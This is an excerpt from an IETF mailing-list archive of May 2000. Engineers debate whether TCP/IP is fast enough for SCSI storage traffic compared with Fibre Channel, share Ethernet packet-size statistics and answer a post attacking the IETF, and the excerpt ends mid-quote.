	Thu, 25 May 2000 23:38:20 -0400
Message-Id: <200005260338.e4Q3cK926414@black-ice.cc.vt.edu>
To: Jon William Toigo <jtoigo@IntNet.net>
cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Thu, 25 May 2000 20:08:50 EDT."
             <071301bfc6a6$932353e0$dd9cfea9@jtoigo> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005252327.TAA18567@yogi.ece.cmu.edu>
            <071301bfc6a6$932353e0$dd9cfea9@jtoigo>
Date: Thu, 25 May 2000 23:38:20 -0400
X-Loop: ietf@ietf.org

On Thu, 25 May 2000 20:08:50 EDT, Jon William Toigo <jtoigo@IntNet.net>  said:
> Put another way, when I design an aircraft, I know about lift, drag and
> other engineering parameters and can plug them into calculations that will
> enable me to design a wing to lift X number of pounds.  When it comes to
> storage networks, I cannot get a straight answer from any vendor regarding
> the parameters that must be observed or satisfied -- whether stated as
> straightforward quantities/formula or general rules of thumb -- in order to
> develop a working storage networking interconnect!

We have over 100 years of experience in the design of fixed-wing
aircraft - the Wright brothers were following onto several years
of glider design.

We have about 10 years experience in the design of high-speed
networks - I think a decade ago, the NSFNet had just completed
a move from 56KB links to T1, and were just starting to think
about T3 links (I may be off a year or two here).

The Red Baron's plane had 20 years of design experience behind it.
How many seconds would you give him against an F-14?

The vendors don't have rules of thumb yet.  Rules of thumb are a clear
indication that a field is mature.  And in this industry, "mature" is
equivalent to "no longer a buzzword".
				
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Fri May 26 00:30:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA28184
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 00:30:03 -0400 (EDT)
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27940
	for <ietf@ietf.org>; Fri, 26 May 2000 00:23:47 -0400 (EDT)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id AAA04973;
	Fri, 26 May 2000 00:23:45 -0400 (EDT)
	(envelope-from wollman)
Date: Fri, 26 May 2000 00:23:45 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <200005260423.AAA04973@khavrinen.lcs.mit.edu>
To: "Steven M. Bellovin" <smb@research.att.com>
Cc: Timothy Behne <TimothyB@microwavenetworks.com>,
        "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: Average Ethernet packet length 
In-Reply-To: <20000526010849.8961C35DC2@smb.research.att.com>
References: <20000526010849.8961C35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

<<On Thu, 25 May 2000 21:08:19 -0400, "Steven M. Bellovin" <smb@research.att.com> said:

> There are no good, current studies on LAN behavior that I've seen.  

However, many LAN switches can provide this information to a
management process.  With high-speed networks, this may be the only
way to get information on LAN behavior.

For example, incoming packets on one interface of my backbone switch
are distributed like this:

  Bucket	  # packets	%pack	%bytes
---------	-----------	-----	------
   0-64		 4769641806	29%	  2.0%
  65-127	 5256510303	32%	  6.7%
 128-255	  397530898	 2.4%	  1.0%
 255-511	  370987710	 2.3%	  1.9%
 512-1023	 1178964791	 7.2%	 12%
1024-1518	 4506971031	27%	 76%

(The last column assumes that packet sizes are uniformly distributed
within each bucket, which is wrong but close enough for the purposes
of this message.  The first two columns are what I get out of my
switch.  Unfortunately, this switch does not count outgoing packets in
the same way.)

That was on an outside-facing interface.  An inside-facing interface
looks more like this:

   0-64		   18184	 0.0%	 0.0%	(I'm not sure I believe this!)
  65-127	29402735	42%	 6.2%
 128-255	 6402318	 9.2%	 2.6%
 256-511	  848447	 1.2%	 0.7%
 512-1023	 2154682	 3.1%	 3.6%
1024-1518	31014396	44%	87%

(This is a gigabit Ethernet interface with 802.1Q encapsulation, so
the first bin includes only those packets with less than 47 bytes of
Ethernet payload.  These two distributions together suggest that about
a quarter of all packets are between 46 and 50 bytes!)

> There have been a number of papers on WAN behavior.  The usual result 
> of those is that ~40-50% of packets are about 40-44 bytes, but most of 
> the bytes are carried by packets of ~500-576 or 1500 bytes.

With a little bit of adjustment, this seems to be borne out in my LAN
environment as well.  (But we're probably atypical.)

-GAWollman



From owner-ietf-outbound  Fri May 26 02:10:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA10563
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 02:10:03 -0400 (EDT)
Received: from monitor.internaut.com (mg-206253202-54.ricochet.net [206.253.202.54])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05992
	for <ietf@ietf.org>; Fri, 26 May 2000 02:01:28 -0400 (EDT)
Received: from vaiobean (vaiobean.ntdev.microsoft.com [204.57.137.66] (may be forged))
	by monitor.internaut.com (8.9.2/8.8.8) with SMTP id WAA33041;
	Thu, 25 May 2000 22:44:11 -0700 (PDT)
Reply-To: <aboba@internaut.com>
From: "Bernard Aboba" <aboba@internaut.com>
To: "'Jon William Toigo'" <jtoigo@INTNET.NET>, <ietf@ietf.org>
Subject: RE: Storage over Ethernet/IP
Date: Thu, 25 May 2000 23:07:16 -0700
Message-ID: <000101bfc6d8$a4fbe370$428939cc@ntdev.microsoft.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0002_01BFC69D.F89E9210"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <06d001bfc693$7f18ff20$dd9cfea9@jtoigo>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4131.1600
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0002_01BFC69D.F89E9210
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I too have heard these arguments. When I heard them I felt a sense of deja
vu -- anyone remember
when the conventional wisdom was that "voice will never run over IP?" In
fact, most of the
assertions below are fallacies or soon will become fallacies. The only real
argument is
about the exact form the technology will take -- NAS vs. SAN, etc.

 > a.  TCP is too CPU intensive and creates too much latency for storage I/O
operations.

There are now task specific processors and co-processors that can handle 1
Gbps line
rate today, and will run at 10 Gbps line rate in 18-24 months. So this
argument has
already fallen by the wayside.

 >b.  The IP stack is too top heavy and processing packet headers is too
slow to support storage I/O operations.

Too slow? If that were true, we wouldn't be able to handle OC-192, would we?
The real question is
how much the chips, switch fabric and specialized memory will cost, and how
competitive this will
be with existing technologies such as Fibre Channel, both for short and long
haul.

>c.  The maximum throughput of a GE TCP/IP connection is 768 Mps, which is
too slow to support storage I/O operations.

That figure was achieved with minimal hardware acceleration. Pushing it by
an order of magnitude within 24 months
is not unimaginable. If you were willing to throw more hardware at the
problem, it might be possible to handle
a 1 Gbps bit rate on 8 lambdas at the same time *today*. How does 8 Gbps of
throughput today sound, with 80 Gbps
in 18-24 months?

 > Is any of this true?

No.

------=_NextPart_000_0002_01BFC69D.F89E9210
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D073584905-26052000>I too=20
have heard these arguments. When I heard them I felt a sense of deja vu =
--=20
anyo</SPAN></FONT><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D073584905-26052000>ne remember</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D073584905-26052000>when=20
the conventional wisdom was that "voice will never run over IP?"&nbsp;In =
fact,=20
most of the</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D073584905-26052000>assertions below are fallacies or soon will =
become=20
fallacies. The only real argument is</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D073584905-26052000>about=20
the exact form the technology will take -- NAS vs. SAN, etc.=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D073584905-26052000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT face=3DArial><SPAN =
class=3D073584905-26052000><FONT=20
color=3D#0000ff>&nbsp;&gt;&nbsp;</FONT></SPAN>a.&nbsp; TCP is too CPU =
intensive=20
and creates too much latency for storage I/O operations.<FONT=20
color=3D#0000ff><SPAN=20
class=3D073584905-26052000>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>There are now task specific processors and=20
co-processors that can </SPAN></FONT></FONT></FONT><FONT size=3D2><FONT=20
face=3DArial><FONT color=3D#0000ff><SPAN =
class=3D073584905-26052000>handle 1 Gbps=20
line</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>rate today, and will run at 10 Gbps line rate =
in 18-24=20
months. So this argument has </SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>already fallen by the=20
wayside.</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT face=3DArial><SPAN=20
class=3D073584905-26052000>&nbsp;&gt;</SPAN>b.&nbsp; The IP stack is too =
top heavy=20
and processing packet headers is too slow to support storage I/O=20
operations.<FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>Too slow? If that were true, we wouldn't be =
able to=20
handle OC-192, would we? The real question is =
</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>how much the chips, switch fabric and =
specialized=20
memory will cost, and how competitive this=20
will</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>be with existing technologies such as Fibre =
Channel,=20
both for short and long haul. </SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000></SPAN></FONT></FONT><FONT size=3D2><FONT=20
face=3DArial><SPAN class=3D073584905-26052000><FONT=20
color=3D#0000ff>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><SPAN =
class=3D073584905-26052000><FONT=20
color=3D#0000ff>&gt;</FONT></SPAN>c.&nbsp; The maximum throughput of a =
GE TCP/IP=20
connection is 768 Mps, which is too slow to support storage I/O =
operations.<FONT=20
color=3D#0000ff><SPAN=20
class=3D073584905-26052000>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>That figure was achieved with minimal =
hardware=20
acceleration. Pushing it by an order of magnitude within 24=20
months</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>is not unimaginable. If you were willing to =
throw more=20
hardware at the problem, it might be possible to=20
handle</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>a 1 Gbps bit rate on 8 lambdas at the same =
time=20
*today*. How does 8 Gbps of throughput today sound, with 80=20
Gbps</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>in 18-24 months? =
</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT face=3DArial><SPAN =
class=3D073584905-26052000><FONT=20
color=3D#0000ff>&nbsp;&gt;&nbsp;</FONT></SPAN>Is any of this true?<FONT=20
color=3D#0000ff><SPAN=20
class=3D073584905-26052000>&nbsp;</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT face=3DArial><FONT color=3D#0000ff><SPAN=20
class=3D073584905-26052000>No.</SPAN></FONT></FONT></FONT></DIV></BODY></=
HTML>

------=_NextPart_000_0002_01BFC69D.F89E9210--



From owner-ietf-outbound  Fri May 26 07:51:00 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA12737
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 07:50:02 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA12693
	for <ietf@ietf.org>; Fri, 26 May 2000 07:40:00 -0400 (EDT)
Received: (qmail 24998 invoked from network); 26 May 2000 11:39:59 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 26 May 2000 11:39:59 -0000
Received: (qmail 20928 invoked from network); 26 May 2000 11:39:56 -0000
Received: from ppp-47-117.lander.es (HELO salva) (195.76.47.117)
  by lince.lander.es with SMTP; 26 May 2000 11:39:56 -0000
Message-Id: <3.0.6.32.20000526134703.007a4180@lince.lander.es>
X-Sender: svidal@lince.lander.es (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Fri, 26 May 2000 13:47:03 +0200
To: Bob Allisat <bob@fcn.net>
From: Salvador Vidal <svidal@lander.es>
Subject: Re: IETF *is* computer crime.
Cc: ietf@ietf.org
In-Reply-To: <Pine.LNX.4.21.0005231110070.30390-100000@mansfield>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Hello Bob,

For Internet improvent and sucess you need the people at this list,
Not because their are brillant
Not because their experince
Not because Intenet need continuity
...
Just because Nobody hate more the actual Intenet degradation, Nobody wants
more that Internet serves for humanity sucess than those who spend their
life working for Internet.

The bill of rights or any other thing that you have in mind are just wet
papers without people fighting for them, and you are in the right place if
you are searching for these people.

As you say the problem is the superestructure that drives Internet for a
very particular ecomic interest, IEFT people are not the problem but part
of the solution.

We need people at this list for an honest Internet evolution, for the
Internet Spirit revival...

We are driven to a deal to balance the actual situation but not without
them, not without you, not without anybody.

Very nice to heard from you again,
Salva

At 11:31 23/05/00 -0400, you wrote:
>
> The manner in which unsanctioned anti-democratic organizations
> control what amounts to the global communications network is a
> crime unto itself. Citizens utilizing this infra-structure posses
> no legal protections, no constitutional safeguards and no basic
> rights or liberties of any variety. We are subject to the chimeric
> whims of technocrats lost in the clouds of their stock options,
> fancy job titles and droll rotation of globe hopping symposiums
> and conferences. Left with no protections we are virtually
> helpless, hapless and hopeless.
>
> The concept of privacy and personal rights and freedoms on the
> net are fully nul and void. The whole convoluted mess rambles on
> generating profits for the lever-controllers and box managers
> and everything is fine and dandy. Except for the pervading fact
> that bloody security, mechanical network integrity and smooth
> technical functioning of the machinery do not supercede precious 
> inalienables and undeniables. Except for the truth that people
> and their intercourses are openly, randomly and completely subject
> to limitless interferances and interventions. 
>
> IETF, ISOC, ICANN, ITU and whatever other unsanctioned, informal
> acretion of pseudo-authority should arise are no places to look
> for solutions. They embody the problem. They ARE the proble. To
> search elsewhere is our only alternative. Tou route around, to
> undermine, to quietly innovate clever detours and innovations.
> Because the moment the unchanging cast of central authorites
> are deposed is the moment a solution becomes workable. Look no
> further than your own self, your own capabilities and capacities.
> Anyone who seeks freedom or solace from those who benifit the most
> from our control and the maintenance of their influence can only
> impede evolution. 
>
> Alive and very much well, all my opinions only, a very insignificant
> observer among the masses of the great unplugged, I remain,
>
> Bob Allisat
>
>
>



From owner-ietf-outbound  Fri May 26 08:50:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA13939
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 08:50:03 -0400 (EDT)
Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.236.200])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13705
	for <ietf@ietf.org>; Fri, 26 May 2000 08:40:09 -0400 (EDT)
Received: from yogi.ece.cmu.edu (IDENT:root@YOGI.ECE.CMU.EDU [128.2.252.128])
	by ece.cmu.edu (8.9.2/8.8.8) with ESMTP id IAA10486;
	Fri, 26 May 2000 08:40:09 -0400 (EDT)
Received: from yogi.ece.cmu.edu (bassoon@localhost [127.0.0.1])
	by yogi.ece.cmu.edu (8.8.7/8.8.7) with ESMTP id IAA11319;
	Fri, 26 May 2000 08:40:08 -0400
Message-Id: <200005261240.IAA11319@yogi.ece.cmu.edu>
To: "'Jon William Toigo'" <jtoigo@INTNET.NET>, ietf@ietf.org
cc: ips@ece.cmu.edu
Subject: "HAAGENS,RANDY (HP-Roseville,ex1)": RE: IETF mailing list question on Storage over Ethernet/IP
Date: Fri, 26 May 2000 08:40:08 -0400
From: Dave Nagle <bassoon@yogi.ece.cmu.edu>
X-Loop: ietf@ietf.org

Jon,
  
  A few more comments on SCSI over IP.

 Also, anyone interested in this subject can subscribe to the IPS
reflector?  Info on the IPS reflector:

     IPS
     Name: IP Storage
     Purpose: Semi-official reflector for the IETF IPSWG communication.  Postings
     are made following "authors group" consensus.
     Hosted by: CMU
     Subscribe: Send mail to Majordomo@ece.cmu.edu with the command subscribe ips

        E-mail: ips@ece.cmu.edu
        URL: http://www.ece.cmu.edu/~ips


------- Forwarded Message

Date:    Thu, 25 May 2000 21:38:11 -0700
From:    "HAAGENS,RANDY (HP-Roseville,ex1)" <randy_haagens@hp.com>
To:      "'Dave Nagle'" <bassoon@yogi.ece.cmu.edu>
cc:      "Scsi-Tcp (E-mail)" <scsi-tcp@external.cisco.com>
Subject: RE: IETF mailing list question on Storage over Ethernet/IP

Comments
- --------

1. I agree with your comments about TCP's being implemented in hardware.  It
will be as fast as any other protocol implemented in hardware.

2. Adaptec should speak for themselves; but I believe that the reference to
STP is a misunderstanding.  At the N+I conference, Adaptec demoed a software
prototype of their SCSI Encapsulation Protocol (SEP).  SEP allows SCSI to be
transported over a lightweight protocol of Adaptec's own design for the the
local area, or over TCP for the wide area.

3. The IP Storage Working Group (IBM, Cisco, HP, Adaptec, Quantum, EMC, and
others) are working on a mapping of SCSI to TCP, for use both in the WAN and
in the LAN.  All of us agree on the use of TCP as the transport for the WAN
and LAN, while a minority would probably favor using a lighter-weight
transport for the LAN.

In summary, TCP is suitable as the transport for the WAN and LAN, and it
will be as fast as any protocol when implemented in hardware.  Using a
single transport for the WAN and LAN removes the artificial barrier between
these two environments, and means that applications (like mirroring) can be
designed to scale seamlessly from the local to the wide area.

Randy Haagens
Networked Storage Architecture
Storage Organization
Hewlett-Packard Co.
e-mail: Randy_Haagens@hp.com
tel: +1 916 785 4578
fax: +1 916 785 1911


> -----Original Message-----
> From: Dave Nagle [mailto:bassoon@yogi.ece.cmu.edu]
> Sent: Thursday, May 25, 2000 4:28 PM
> To: SCSI-over-TCP List
> Subject: IETF mailing list question on Storage over Ethernet/IP
> 
> 
> 
> 
> ------- Forwarded Message
> 
> Date:    Thu, 25 May 2000 22:55:49 -0000
> From:    Mike Fisk <mfisk@lanl.gov>
> To:      Jon William Toigo <jtoigo@IntNet.net>
> cc:      ietf@ietf.org
> Subject: Re: Storage over Ethernet/IP
> 
> On Thu, 25 May 2000, Jon William Toigo wrote:
> 
> > I am seeking a few points of clarification:
> > 
> > 1.  Fibre Channel folks have attempted to explain to me why TCP/IP
> > could NEVER be a viable interconnect for block level storage
> > operations.  They claim:
> > 
> > a.  TCP is too CPU intensive and creates too much latency 
> for storage
> > I/O operations.
> > 
> > b.  The IP stack is too top heavy and processing packet 
> headers is too
> > slow to support storage I/O operations.
> >
> > c.  The maximum throughput of a GE TCP/IP connection is 768 
> Mps, which
> > is too slow to support storage I/O operations.
> 
> This is not a theoretical limitation, but is in the ballpark 
> reported by
> many general-purpose operating systems with commodity hardware.  
> 
> >Is any of this true?
> 
> I don't believe that TCP/IP implementations couldn't be optimized to
> support full link rate and low latency.  If you're building a hardware
> adapter that can do SCSI and RAID fast, adding TCP shouldn't be
> prohibitively hard. 
> 
> > 2.  Adaptec has posited a replacement for TCP called STP 
> for use as a
> > transport for storage.  Does anyone know anything about this?
> 
> STP is the Scheduled Transfer protocol being standardized by 
> the ANSI T11
> folks.  ST was designed to run on top of GSN (a.k.a. 
> HIPPI-6400). In my
> opinion, it is as heavy-weight as TCP with respect to most of 
> the things
> stated above.  It does have the potential advantage of being 
> designed from
> scratch to support zero-copy access to user space using specialized
> interface cards.
> 
> > 3.  Current discussions of the SCSI over IP protocol seem to ignore
> > the issue of TCP or any other transport protocol.  Does anyone know
> > definitively what transport is being suggested by the 
> IBM/Cisco crowd?
> 
> I believe the assumption is that you will have a local network with no
> packet loss or significant bit error rate.  Basically, you assume that
> your ethernet is as reliable as your SCSI cable or 
> fiber-channel network.
> For a well engineered, fully-switched LAN, that may be a reasonable
> assumption.
> 
> - -- Mike Fisk, RADIANT Team, Network Engineering Group, Los 
> Alamos National
> Lab See http://home.lanl.gov/mfisk/ for contact information
> 
> 
> ------- End of Forwarded Message
> 
> 



From owner-ietf-outbound  Fri May 26 09:00:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA14145
	for ietf-outbound.10@ietf.org; Fri, 26 May 2000 09:00:03 -0400 (EDT)
Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.236.200])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13729
	for <ietf@ietf.org>; Fri, 26 May 2000 08:42:40 -0400 (EDT)
Received: from yogi.ece.cmu.edu (IDENT:root@YOGI.ECE.CMU.EDU [128.2.252.128])
	by ece.cmu.edu (8.9.2/8.8.8) with ESMTP id IAA10550;
	Fri, 26 May 2000 08:42:41 -0400 (EDT)
Received: from yogi.ece.cmu.edu (bassoon@localhost [127.0.0.1])
	by yogi.ece.cmu.edu (8.8.7/8.8.7) with ESMTP id IAA11351;
	Fri, 26 May 2000 08:42:39 -0400
Message-Id: <200005261242.IAA11351@yogi.ece.cmu.edu>
To: "'Jon William Toigo'" <jtoigo@INTNET.NET>, ietf@ietf.org
cc: ips@ece.cmu.edu
Subject: IETF mailing list question on Storage over Ethernet/IP 
Date: Fri, 26 May 2000 08:42:39 -0400
From: Dave Nagle <bassoon@yogi.ece.cmu.edu>
X-Loop: ietf@ietf.org


A few comments about this one.

1. FC does not provide reliable transmission.  It provides for error
detection, but escalates recovery to "upper level protocol".  FCP-2 has
improved this situation, but is not widely implemented yet.  One of the
advantages of using a transport such as TCP is that link errors will be
corrected in a manner that is transparent to the application protocol
(SCSI).

2. Jumbo frames will not be necessary when TCP is implemented in hardware.
Most FC implementations use 1024 byte frames, and performance is very
adequate, given hardware implementation of FCP.

3. The cost of using different transport protocols in the LAN and WAN is
that the two will not interoperate.  Many of us believe that TCP has proven
itself in both the LAN and WAN.  I bet your PC or UN*X workstation is using
TCP for all its protocol needs.

4. The IPS working group is mapping SCSI to TCP.  Another working group is
mapping FC to IP.  These are very different approaches.  The first (ours)
preserves SCSI, but does not include any vestige of Fibre Channel.  It is
intended for use in the LAN, MAN and WAN.  Its best use is for connecting
hosts computers to storage controllers using Ethernet and IP WAN technology.
It will be possible, but non-trivial, to translate between SCSI over TCP/IP
and SCSI over Fibrechannel.  The second is a tunneling scheme for extending
Fibre Channel over the IP WAN.  It does not contemplate Ethernet-based hosts
or storage controllers.

5. Just about any reliable transport will do nicely for transporting SCSI
commands.  We chose TCP because its implementation and behavior are
well-known, and it is well-supported with load-balancing, QoS and security
features.  While another protocol (such as reliable datagram) might be
arguably better suited to storage transport applications, we'll use TCP
"because it's there".  We'll have the benefit of all the other investment
that's going into improving TCP for internet uses.

Randy Haagens
Networked Storage Architecture
Storage Organization
Hewlett-Packard Co.
e-mail: Randy_Haagens@hp.com
tel: +1 916 785 4578
fax: +1 916 785 1911


> -----Original Message-----
> From: Dave Nagle [mailto:bassoon@yogi.ece.cmu.edu]
> Sent: Thursday, May 25, 2000 4:29 PM
> To: SCSI-over-TCP List
> Subject: IETF mailing list question on Storage over Ethernet/IP 
> 
> 
> 
> ------- Forwarded Message
> 
> Date:    Thu, 25 May 2000 19:27:02 -0400
> From:    Dave Nagle <bassoon@yogi.ece.cmu.edu>
> To:      "Jon William Toigo" <jtoigo@IntNet.net>
> cc:      ietf@ietf.org
> Subject: Re: Storage over Ethernet/IP 
> 
> Jon,
> 
> Original Message
> - ----------------
>  >> I am seeking a few points of clarification:
>  >> 
>  >> 1.  Fibre Channel folks have attempted to explain to me 
> why TCP/IP could =
>  >> NEVER be a viable interconnect for block level storage 
> operations.  They =
>  >> claim:
>  >> a.  TCP is too CPU intensive and creates too much latency 
> for storage =
>  >> I/O operations.
>  >> b.  The IP stack is too top heavy and processing packet 
> headers is too =
>  >> slow to support storage I/O operations.
> 
>   There is a lot of work to show that this is not true.  Check out Van
> Meter's 1998 ASPLOS paper "VISA - Netstations virtual internet SCSI
> adaptor."
> 
>  Perhaps more importantly, there are many companies that are building
> TCP in silicon ASICs.  This should make TCP's performance comparable
> to Fibre Channel.  Both TCP/IP and FC provide about the same
> functionality ... reliable, in-order transmission.  
> 
> The bottom line is that FC is done in hardware while TCP has
> traditionally been done in software. Therefore, previous performance
> numbers are not going to be fair.  Once TCP is in silicon, its
> performance should be roughly equal to FC.
> 
>  >> c.  The maximum throughput of a GE TCP/IP connection is 
> 768 Mps, which =
>  >> is too slow to support storage I/O operations.
> 
>  I believe there are higher numbers (especially with Jumbo
> Frames). Alteon's web site show's 920 Mbps.  Microsoft and Duke
> University have both shown TCP performance o 1Gb+/s performance over
> other networks.
> 
>   BTW, why is 768 Mbps too slow for storage.  Many apps (e.g.,
> transaction workloads) are I/O's per second bound, not bandwidth
> bound.  Also, even if storage over IP/ether is a bit slower than FC,
> the benefits of leveraging IP's infrastructure (i.e., routers,
> switches, NICs, network management, networking people) is a huge
> advantage.  
> 
>  There is also the issue of SCSI over TCP/IP in the SAN vs. the
> LAN/WAN.  Some companies, focusing on the SAN, are building
> SCSI/lightweight transport/IP while others, focusing on the WAN,
> propose SCSI/TCP/IP.  It may be the case that SAN and WAN traffic use
> different transport protocols to gain a bit of extra performance in
> the SAN.  
> 
>  >> Is any of this true?
>  >> 
>  >> 2.  Adaptec has posited a replacement for TCP called STP 
> for use as a =
>  >> transport for storage.  Does anyone know anything about this?
> 
>     From Paul von Stamwitz's posting to the ips mailing list ...
>    
>       The link to the SEP draft is
>       http://www.ietf.org/internet-drafts/draft-wilson-sep-00.txt
>    
>       The press release is at:
> 	http://www.adaptec.com/adaptec/press/release000504.html
>    
>     The demo shows a Gb ethernet controller transporting SCSI 
> traffic to several
>     targets through an off-the-shelf 100TX switch with a Gb  
> uplink. The targets
>     are ethernet to U160 SCSI bridges with one or more SCSI  
> drives attached. The
>     host controller runs under NT4.0 at appears to the OS as 
> a  SCSI host bus
>     adapter.
>    
>     The architecture is based on Adaptec's SCSI Encapsulation Protocol
>     (SEP).  SEP is mapped on top of TCP/IP or a light-weight transport
>     protocol specifically designed for SANs.
>     
>     An SEP overview was presented at the IPS BOF in Adelaide 
> last  month and an
>     internet draft on SEP was submitted to IETF this week. I 
> will  forward the
>     link as soon as it becomes available. This draft is informational
>     only and intended to aid in this group's work toward an industry
>     standard SCSI transport protocol over IP networks.
> 
> 
>  >> 3.  Current discussions of the SCSI over IP protocol seem 
> to ignore the =
>  >> issue of TCP or any other transport protocol.  Does anyone know =
>  >> definitively what transport is being suggested by the 
> IBM/Cisco crowd?
> 
>    Current SCSI over IP discussions are not ignoring TCP ... they are
>    definitely considering TCP as the primary transport.  See the ips
>    web site at:
>  
     http://www.ece.cmu.edu/~ips

 >> 
 >> 4.  Another storage company is looking at Reliable UDP as a substitute =
 >> for TCP in storage data transfers.  Where can I learn more about this =
